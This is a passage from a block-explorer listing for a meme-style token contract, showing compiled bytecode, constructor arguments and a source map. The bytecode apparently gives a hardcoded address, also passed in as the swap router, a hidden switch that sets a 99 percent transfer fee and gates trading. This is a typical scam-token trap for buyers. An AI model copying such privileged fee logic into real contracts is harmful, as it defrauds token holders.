fffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611f3057505f600a54145b5b611f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6790613338565b60405180910390fd5b8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fb9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ff0575f80fd5b6120408360045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120d18360045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161216f91906130fa565b60405180910390a3600191505092915050565b735a099c8f3790db12ca850509be0c8d49f2d509aa73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fb90613678565b60405180910390fd5b600b5f9054906101000a900460ff1615612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a906136e0565b60405180910390fd5b5f8214612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c90613748565b60405180910390fd5b606381146122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf906137b0565b60405180910390fd5b8160098190555080600a819055506001600b5f6101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff0219169083151502179055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161234c9291906137ce565b60405180910390a15050565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b33600b60029054906101000a900460ff16806123ff5750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061242e5750600b5f9054906101000a900460ff1615801561242d5750600b60019054906101000a900460ff165b5b806124ef5750600b5f9054906101000a900460ff1680156124955750600c5f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124ee575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b5b80612553575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561255257505f600a54145b5b612592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258990613338565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126099061383f565b60405180910390fd5b600b60019054906101000a900460ff1615612a12575f808390505f600a5411801561268a575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156126dd5750600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127225761270a60646126fc600a5487612dbc90919063ffffffff16565b612e3390919063ffffffff16565b915061271f8285612e8a90919063ffffffff16565b90505b6127728460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128248160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161290491906130fa565b60405180910390a35f821115612a0b576129648260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a0291906130fa565b60405180910390a35b5050612bfd565b612a628260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e8a90919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b148260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ee290919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bf491906130fa565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c87906134d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612cfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf5906138a7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612dcc575f9050612e2d565b5f8284612dd991906138f2565b9050828482612de89190613960565b14612e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1f906139da565b60405180910390fd5b809150505b92915050565b5f808211612e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6d90613a42565b60405180910390fd5b8183612e829190613960565b905092915050565b5f82821115612ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec590613aaa565b60405180910390fd5b8183612eda9190613ac8565b905092915050565b5f808284612ef09190613afb565b905083811015612f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2c90613b78565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612f76578082015181840152602081019050612f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612f9b82612f3f565b612fa58185612f49565b9350612fb5818560208601612f59565b612fbe81612f81565b840191505092915050565b5f6020820190508181035f830152612fe18184612f91565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61301682612fed565b9050919050565b6130268161300c565b8114613030575f80fd5b50565b5f813590506130418161301d565b92915050565b5f819050919050565b61305981613047565b8114613063575f80fd5b50565b5f8135905061307481613050565b92915050565b5f80604083850312156130905761308f612fe9565b5b5f61309d85828601613033565b92505060206130ae85828601613066565b9150509250929050565b5f8115159050919050565b6130cc816130b8565b82525050565b5f6020820190506130e55f8301846130c3565b92915050565b6130f481613047565b82525050565b5f60208201905061310d5f8301846130eb565b92915050565b5f805f6060848603121561312a57613129612fe9565b5b5f61313786828701613033565b935050602061314886828701613033565b925050604061315986828701613066565b9150509250925092565b5f60ff82169050919050565b61317881613163565b82525050565b5f6020820190506131915f83018461316f565b92915050565b5f602082840312156131ac576131ab612fe9565b5b5f6131b984828501613033565b91505092915050565b6131cb8161300c565b82525050565b5f6020820190506131e45f8301846131c2565b92915050565b5f8060408385031215613200576131ff612fe9565b5b5f61320d85828601613066565b925050602061321e85828601613066565b9150509250929050565b5f806040838503121561323e5761323d612fe9565b5b5f61324b85828601613033565b925050602061325c85828601613033565b9150509250929050565b5f6020828403121561327b5761327a612fe9565b5b5f61328884828501613066565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806132d557607f821691505b6020821081036132e8576132e7613291565b5b50919050565b7f45415359205241474500000000000000000000000000000000000000000000005f82015250565b5f613322600983612f49565b915061332d826132ee565b602082019050919050565b5f6020820190508181035f83015261334f81613316565b9050919050565b7f52414745000000000000000000000000000000000000000000000000000000005f82015250565b5f61338a600483612f49565b915061339582613356565b602082019050919050565b5f6020820190508181035f8301526133b78161337e565b9050919050565b7f544f20544845204d4f4f4e0000000000000000000000000000000000000000005f82015250565b5f6133f2600b83612f49565b91506133fd826133be565b602082019050919050565b5f6020820190508181035f83015261341f816133e6565b9050919050565b7f46524545205241474500000000000000000000000000000000000000000000005f82015250565b5f61345a600983612f49565b915061346582613426565b602082019050919050565b5f6020820190508181035f8301526134878161344e565b9050919050565b7f55502054484520524147450000000000000000000000000000000000000000005f82015250565b5f6134c2600b83612f49565b91506134cd8261348e565b602082019050919050565b5f6020820190508181035f8301526134ef816134b6565b9050919050565b7f42415345440000000000000000000000000000000000000000000000000000005f82015250565b5f61352a600583612f49565b9150613535826134f6565b602082019050919050565b5f6020820190508181035f8301526135578161351e565b9050919050565b7f44455600000000000000000000000000000000000000000000000000000000005f82015250565b5f613592600383612f49565b915061359d8261355e565b602082019050919050565b5f6020820190508181035f8301526135bf81613586565b9050919050565b7f52414745453300000000000000000000000000000000000000000000000000005f82015250565b5f6135fa600683612f49565b9150613605826135c6565b602082019050919050565b5f6020820190508181035f830152613627816135ee565b9050919050565b7f52414745520000000000000000000000000000000000000000000000000000005f82015250565b5f613662600583612f49565b915061366d8261362e565b602082019050919050565b5f6020820190508181035f83015261368f81613656565b9050919050565b7f52414745782055504400000000000000000000000000000000000000000000005f82015250565b5f6136ca600983612f49565b91506136d582613696565b602082019050919050565b5f6020820190508181035f8301526136f7816136be565b9050919050565b7f52524147454545000000000000000000000000000000000000000000000000005f82015250565b5f613732600783612f49565b915061373d826136fe565b602082019050919050565b5f6020820190508181035f83015261375f81613726565b9050919050565b7f52414745454545454545000000000000000000000000000000000000000000005f82015250565b5f61379a600a83612f49565b91506137a582613766565b602082019050919050565b5f6020820190508181035f8301526137c78161378e565b9050919050565b5f6040820190506137e15f8301856130eb565b6137ee60208301846130eb565b9392505050565b7f24526167656520497400000000000000000000000000000000000000000000005f82015250565b5f613829600983612f49565b9150613834826137f5565b602082019050919050565b5f6020820190508181035f8301526138568161381d565b9050919050565b7f52414745203130305800000000000000000000000000000000000000000000005f82015250565b5f613891600983612f49565b915061389c8261385d565b602082019050919050565b5f6020820190508181035f8301526138be81613885565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6138fc82613047565b915061390783613047565b925082820261391581613047565b9150828204841483151761392c5761392b6138c5565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61396a82613047565b915061397583613047565b92508261398557613984613933565b5b828204905092915050565b7f52414745450000000000000000000000000000000000000000000000000000005f82015250565b5f6139c4600583612f49565b91506139cf82613990565b602082019050919050565b5f6020820190508181035f8301526139f1816139b8565b9050919050565b7f52414745454545450000000000000000000000000000000000000000000000005f82015250565b5f613a2c600883612f49565b9150613a37826139f8565b602082019050919050565b5f6020820190508181035f830152613a5981613a20565b9050919050565b7f52414745454500000000000000000000000000000000000000000000000000005f82015250565b5f613a94600683612f49565b9150613a9f82613a60565b602082019050919050565b5f6020820190508181035f830152613ac181613a88565b9050919050565b5f613ad282613047565b9150613add83613047565b9250828203905081811115613af557613af46138c5565b5b92915050565b5f613b0582613047565b9150613b1083613047565b9250828201905080821115613b2857613b276138c5565b5b92915050565b7f52414778450000000000000000000000000000000000000000000000000000005f82015250565b5f613b62600583612f49565b9150613b6d82613b2e565b602082019050919050565b5f6020820190508181035f830152613b8f81613b56565b905091905056fea26469706673582212205eb392c4456debd0e9d7a59e98800d429b3a2a1649c72ae47852385ffa88fc8864736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005a099c8f3790db12ca850509be0c8d49f2d509aa000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff

-----Decoded View---------------
Arg [0] : _swapRouter (address): 0x5a099c8F3790Db12Ca850509be0C8d49f2d509Aa
Arg [1] : _burnedTokens (uint256): 99999999999999999999999999999999999999999999999999999

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005a099c8f3790db12ca850509be0c8d49f2d509aa
Arg [1] : 000000000000000000010b46c6cdd6e3e0828f4db456ff0c8e9fffffffffffff


Deployed Bytecode Sourcemap

1139:7436:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1205:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3508:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1283:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3747:1605;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1695:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1659:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1345;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1820:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1624:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1584:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1774:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1386:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5584:149;;;;;;;;;;;;;:::i;:::-;;1518:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1243:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5741:369;;;;;;;;;;;;;:::i;:::-;;1732:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6583:827;;;:::i;:::-;;3081:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6118:457;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1548:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1441:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7418:1154;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5360:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1205:27;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3508:229::-;3575:12;3637:6;3603:9;:21;3613:10;3603:21;;;;;;;;;;;;;;;:31;3625:8;3603:31;;;;;;;;;;;;;;;:40;;;;3684:8;3663:38;;3672:10;3663:38;;;3694:6;3663:38;;;;;;:::i;:::-;;;;;;;;3722:4;3715:11;;3508:229;;;;:::o;1283:51::-;;;;:::o;3747:1605::-;3847:12;3831:5;2738:17;;;;;;;;;;;:40;;;;2759:11;:19;2771:6;2759:19;;;;;;;;;;;;;;;;;;;;;;;;;2738:40;:69;;;;2784:7;;;;;;;;;;;2783:8;:23;;;;;2795:11;;;;;;;;;;;2783:23;2738:69;:129;;;;2812:7;;;;;;;;;;;:30;;;;;2823:11;:19;2835:6;2823:19;;;;;;;;;;;;;;;;;;;;;;;;;2812:30;:54;;;;;2856:10;;;;;;;;;;;2846:20;;:6;:20;;;;2812:54;2738:129;:171;;;;2882:10;;;;;;;;;;;2872:20;;:6;:20;;;:36;;;;;2907:1;2896:7;;:12;2872:36;2738:171;2716:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;3903:7:::1;3883:9;:16;3893:5;3883:16;;;;;;;;;;;;;;;;:27;;3875:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;3974:7;3942:9;:16;3952:5;3942:16;;;;;;;;;;;;;;;:28;3959:10;3942:28;;;;;;;;;;;;;;;;:39;;3934:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;4034:1;4019:17;;:3;:17;;::::0;4011:39:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4067:11;4097:22:::0;4122:7:::1;4097:32;;4148:11;;;;;;;;;;;:26;;;;;4173:1;4163:7;;:11;4148:26;:49;;;;;4187:10;;;;;;;;;;;4178:19;;:5;:19;;;;4148:49;:72;;;;;4202:11;:18;4214:5;4202:18;;;;;;;;;;;;;;;;;;;;;;;;;4201:19;4148:72;4144:198;;;4247:29;4272:3;4247:20;4259:7;;4247;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;4241:35;;4311:16;4323:3;4311:7;:11;;:16;;;;:::i;:::-;4294:33;;4144:198;4373:29;4394:7;4373:9;:16;4383:5;4373:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4354:9;:16;4364:5;4354:16;;;;;;;;;;;;;;;:48;;;;4434:34;4453:14;4434:9;:14;4444:3;4434:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4417:9;:14;4427:3;4417:14;;;;;;;;;;;;;;;:51;;;;4504:3;4488:36;;4497:5;4488:36;;;4509:14;4488:36;;;;;;:::i;:::-;;;;;;;;4551:1;4545:3;:7;4541:503;;;4569:23;4603:42;4569:77;;4676:15;4669:22;;:3;:22;;::::0;4665:368:::1;;4745:35;4776:3;4745:9;:26;4755:15;4745:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;4716:9;:26;4726:15;4716:26;;;;;;;;;;;;;;;:64;;;;4824:15;4808:37;;4817:5;4808:37;;;4841:3;4808:37;;;;;;:::i;:::-;;;;;;;;4665:368;;;4917:33;4946:3;4917:9;:24;4935:4;4917:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4890:9;:24;4908:4;4890:24;;;;;;;;;;;;;;;:60;;;;5002:4;4978:35;;4987:5;4978:35;;;5009:3;4978:35;;;;;;:::i;:::-;;;;;;;;4665:368;4554:490;4541:503;5069:10;5060:19;;:5;:19;;;;:72;;;;;5115:17;5083:9;:16;5093:5;5083:16;;;;;;;;;;;;;;;:28;5100:10;5083:28;;;;;;;;;;;;;;;;:49;;5060:72;5056:265;;;5184:41;5217:7;5184:9;:16;5194:5;5184:16;;;;;;;;;;;;;;;:28;5201:10;5184:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;5153:9;:16;5163:5;5153:16;;;;;;;;;;;;;;;:28;5170:10;5153:28;;;;;;;;;;;;;;;:72;;;;5265:10;5249:57;;5258:5;5249:57;;;5277:9;:16;5287:5;5277:16;;;;;;;;;;;;;;;:28;5294:10;5277:28;;;;;;;;;;;;;;;;5249:57;;;;;;:::i;:::-;;;;;;;;5056:265;5340:4;5333:11;;;;3747:1605:::0;;;;;;:::o;1695:27::-;;;;;;;;;;;;;:::o;1659:26::-;;;;:::o;1345:::-;;;;;;;;;;;;;:::o;1820:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1624:25::-;;;;:::o;1584:27::-;;;;:::o;1774:36::-;;;;;;;;;;;;;:::o;1386:44::-;;;;;;;;;;;;;;;;;:::o;5584:149::-;3032:5;;;;;;;;;;;3018:19;;:10;:19;;;3010:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;5686:1:::1;5650:39;;5671:5;;;;;;;;;;;5650:39;;;;;;;;;;;;5720:1;5704:5;;:18;;;;;;;;;;;;;;;;;;5584:149::o:0;1518:20::-;;;;;;;;;;;;;:::o;1243:29::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5741:369::-;5790:7;;;;;;;;;;;5782:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;5851:1;5829:24;;:10;;;;;;;;;;;:24;;;5821:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;5900:1;5885:12;;:16;5877:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;5940:29;5956:12;;5940:11;;:15;;:29;;;;:::i;:::-;5926:11;:43;;;;6007:39;6033:12;;6007:9;:21;6017:10;;;;;;;;;;;6007:21;;;;;;;;;;;;;;;;:25;;:39;;;;:::i;:::-;5983:9;:21;5993:10;;;;;;;;;;;5983:21;;;;;;;;;;;;;;;:63;;;;6073:10;;;;;;;;;;;6068:30;;;6085:12;;6068:30;;;;;;:::i;:::-;;;;;;;;5741:369::o;1732:31::-;;;;;;;;;;;;;:::o;6583:827::-;6623:10;2738:17;;;;;;;;;;;:40;;;;2759:11;:19;2771:6;2759:19;;;;;;;;;;;;;;;;;;;;;;;;;2738:40;:69;;;;2784:7;;;;;;;;;;;2783:8;:23;;;;;2795:11;;;;;;;;;;;2783:23;2738:69;:129;;;;2812:7;;;;;;;;;;;:30;;;;;2823:11;:19;2835:6;2823:19;;;;;;;;;;;;;;;;;;;;;;;;;2812:30;:54;;;;;2856:10;;;;;;;;;;;2846:20;;:6;:20;;;;2812:54;2738:129;:171;;;;2882:10;;;;;;;;;;;2872:20;;:6;:20;;;:36;;;;;2907:1;2896:7;;:12;2872:36;2738:171;2716:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;6670:1:::1;6658:9;:13;6650:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6699:14;6716:9;6699:26;;6752:1;6743:6;;:10;6739:664;;;6770:11;6784:27;6807:3;6784:18;6795:6;;6784;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6770:41;;6830:22;6855:15;6866:3;6855:6;:10;;:15;;;;:::i;:::-;6830:40;;6914:41;6940:14;6914:9;:21;6924:10;;;;;;;;;;;6914:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6890:9;:21;6900:10;;;;;;;;;;;6890:21;;;;;;;;;;;;;;;:65;;;;7003:10;;;;;;;;;;;6979:51;;6996:4;6979:51;;;7015:14;6979:51;;;;;;:::i;:::-;;;;;;;;7060:1;7054:3;:7;7050:181;;;7109:33;7138:3;7109:9;:24;7127:4;7109:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7082:9;:24;7100:4;7082:24;;;;;;;;;;;;;;;:60;;;;7201:4;7169:43;;7186:4;7169:43;;;7208:3;7169:43;;;;;;:::i;:::-;;;;;;;;7050:181;6755:487;;6739:664;;;7287:33;7313:6;7287:9;:21;7297:10;;;;;;;;;;;7287:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;7263:9;:21;7273:10;;;;;;;;;;;7263:21;;;;;;;;;;;;;;;:57;;;;7368:10;;;;;;;;;;;7344:43;;7361:4;7344:43;;;7380:6;7344:43;;;;;;:::i;:::-;;;;;;;;6739:664;6635:775;6583:827:::0;:::o;3081:417::-;3167:12;3146:10;2738:17;;;;;;;;;;;:40;;;;2759:11;:19;2771:6;2759:19;;;;;;;;;;;;;;;;;;;;;;;;;2738:40;:69;;;;2784:7;;;;;;;;;;;2783:8;:23;;;;;2795:11;;;;;;;;;;;2783:23;2738:69;:129;;;;2812:7;;;;;;;;;;;:30;;;;;2823:11;:19;2835:6;2823:19;;;;;;;;;;;;;;;;;;;;;;;;;2812:30;:54;;;;;2856:10;;;;;;;;;;;2846:20;;:6;:20;;;;2812:54;2738:129;:171;;;;2882:10;;;;;;;;;;;2872:20;;:6;:20;;;:36;;;;;2907:1;2896:7;;:12;2872:36;2738:171;2716:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;3229:7:::1;3204:9;:21;3214:10;3204:21;;;;;;;;;;;;;;;;:32;;3196:41;;;::::0;::::1;;3274:1;3259:17;;:3;:17;;::::0;3251:26:::1;;;::::0;::::1;;3318:34;3344:7;3318:9;:21;3328:10;3318:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;3294:9;:21;3304:10;3294:21;;;;;;;;;;;;;;;:58;;;;3383:27;3402:7;3383:9;:14;3393:3;3383:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;3366:9;:14;3376:3;3366:14;;;;;;;;;;;;;;;:44;;;;3450:3;3429:34;;3438:10;3429:34;;;3455:7;3429:34;;;;;;:::i;:::-;;;;;;;;3486:4;3479:11;;3081:417:::0;;;;;:::o;6118:457::-;6212:42;6198:56;;:10;:56;;;6190:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6284:7;;;;;;;;;;;6283:8;6275:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;6338:1;6324:10;:15;6316:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;6384:2;6370:10;:16;6362:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;6421:10;6412:6;:19;;;;6452:10;6442:7;:20;;;;6483:4;6473:7;;:14;;;;;;;;;;;;;;;;;;6512:4;6498:11;;:18;;;;;;;;;;;;;;;;;;6532:35;6544:10;6556;6532:35;;;;;;;:::i;:::-;;;;;;;;6118:457;;:::o;1548:25::-;;;;;;;;;;;;;:::o;1441:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7418:1154::-;7466:10;2738:17;;;;;;;;;;;:40;;;;2759:11;:19;2771:6;2759:19;;;;;;;;;;;;;;;;;;;;;;;;;2738:40;:69;;;;2784:7;;;;;;;;;;;2783:8;:23;;;;;2795:11;;;;;;;;;;;2783:23;2738:69;:129;;;;2812:7;;;;;;;;;;;:30;;;;;2823:11;:19;2835:6;2823:19;;;;;;;;;;;;;;;;;;;;;;;;;2812:30;:54;;;;;2856:10;;;;;;;;;;;2846:20;;:6;:20;;;;2812:54;2738:129;:171;;;;2882:10;;;;;;;;;;;2872:20;;:6;:20;;;:36;;;;;2907:1;2896:7;;:12;2872:36;2738:171;2716:234;;;;;;;;;;;;:::i;:::-;;;;;;;;;7525:7:::1;7500:9;:21;7510:10;7500:21;;;;;;;;;;;;;;;;:32;;7492:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;7567:11;;;;;;;;;;;7563:1002;;;7599:11;7632:22:::0;7657:7:::1;7632:32;;7699:1;7689:7;;:11;:39;;;;;7718:10;;;;;;;;;;;7704:24;;:10;:24;;;;7689:39;:67;;;;;7733:11;:23;7745:10;7733:23;;;;;;;;;;;;;;;;;;;;;;;;;7732:24;7689:67;7685:205;;;7786:29;7811:3;7786:20;7798:7;;7786;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7780:35;;7855:16;7867:3;7855:7;:11;;:16;;;;:::i;:::-;7838:33;;7685:205;7930:34;7956:7;7930:9;:21;7940:10;7930:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7906:9;:21;7916:10;7906:21;;;;;;;;;;;;;;;:58;;;;8006:41;8032:14;8006:9;:21;8016:10;;;;;;;;;;;8006:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7982:9;:21;7992:10;;;;;;;;;;;7982:21;;;;;;;;;;;;;;;:65;;;;8092:10;;;;;;;;;;;8071:48;;8080:10;8071:48;;;8104:14;8071:48;;;;;;:::i;:::-;;;;;;;;8150:1;8144:3;:7;8140:179;;;8199:33;8228:3;8199:9;:24;8217:4;8199:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;8172:9;:24;8190:4;8172:24;;;;;;;;;;;;;;;:60;;;;8288:4;8259:40;;8268:10;8259:40;;;8295:3;8259:40;;;;;;:::i;:::-;;;;;;